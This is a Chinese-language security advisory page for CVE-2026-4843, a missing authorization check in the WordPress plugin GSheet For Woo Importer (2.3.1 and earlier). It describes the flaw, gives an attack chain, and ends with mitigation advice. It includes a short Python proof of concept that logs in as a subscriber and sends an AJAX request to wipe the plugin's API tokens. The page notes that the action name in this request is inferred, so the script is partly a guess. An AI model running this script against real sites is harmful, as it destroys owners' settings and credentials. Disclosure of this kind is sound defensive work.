IPBUF安全漏洞报告
English
CVE-2026-4843 CVSS 4.3 中危

CVE-2026-4843: GSheet For Woo插件权限绕过漏洞

披露日期: 2026-05-21

漏洞信息

漏洞编号
CVE-2026-4843
漏洞类型
权限绕过
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
GSheet For Woo Importer

相关标签

权限绕过WordPressCVE-2026-4843数据删除插件漏洞

漏洞概述

WordPress插件GSheet For Woo Importer在2.3.1及之前版本中存在权限缺失漏洞。由于process_ajax_restore_action()函数未执行充分的能力检查,导致任何经过身份验证的攻击者,包括权限极低的订阅者,均可利用此漏洞。攻击者能够未经授权删除插件的Google Sheets API令牌及配置选项,导致插件核心功能失效及重要凭据丢失。

技术细节

该漏洞属于典型的访问控制失效(Broken Access Control)。在WordPress插件开发规范中,涉及删除配置或恢复默认设置等敏感操作的AJAX回调函数,必须严格校验当前用户是否具备管理权限(如manage_options)。然而,在受影响版本的源码中,process_ajax_restore_action()函数仅验证了用户是否登录,而未调用current_user_can()进行权限层级判断。因此,攻击者只需注册一个低权限账户(如订阅者),在获取有效的WordPress登录Cookie后,即可构造POST请求向/wp-admin/admin-ajax.php发送特定的action参数。服务器端收到请求后会误以为是管理员操作,进而执行数据库删除指令,清空API Key和Token。

攻击链分析

STEP 1
步骤1
攻击者在目标WordPress站点注册一个低权限账户(如订阅者Subscriber)。
STEP 2
步骤2
攻击者使用该账户登录,获取有效的身份验证Cookie。
STEP 3
步骤3
攻击者构造包含特定action参数的POST请求,发送至/wp-admin/admin-ajax.php端点,触发process_ajax_restore_action()函数。
STEP 4
步骤4
服务器端因缺少权限校验,执行删除操作,清空Google Sheets API Token及配置。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2026-4843 PoC Script # Target: WordPress GSheet For Woo Importer <= 2.3.1 TARGET_URL = "http://example.com/wp-admin/admin-ajax.php" WP_USER = "subscriber" WP_PASS = "password" def exploit(): session = requests.Session() # 1. Login to get authenticated cookies login_url = "http://example.com/wp-login.php" payload = { "log": WP_USER, "pwd": WP_PASS, "redirect_to": "http://example.com/wp-admin/", "wp-submit": "Log In" } session.post(login_url, data=payload) # 2. Send malicious AJAX request to delete config # Note: The specific action name 'restore_action' is inferred from the function name process_ajax_restore_action exploit_data = { "action": "restore_action" } response = session.post(TARGET_URL, data=exploit_data) if response.status_code == 200: print("[+] Request sent successfully. Check if plugin configuration is wiped.") else: print("[-] Exploit failed.") if __name__ == "__main__": exploit()

影响范围

GSheet For Woo Importer <= 2.3.1

防御指南

临时缓解措施
如果无法立即升级插件,建议暂时禁用该插件以防止数据被恶意删除。管理员应检查并限制WordPress后台的访问权限,确保低权限用户无法访问管理功能。同时,可以通过修改服务器配置(如.htaccess或Nginx规则),仅允许特定IP地址访问wp-admin目录,从而阻断攻击路径。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表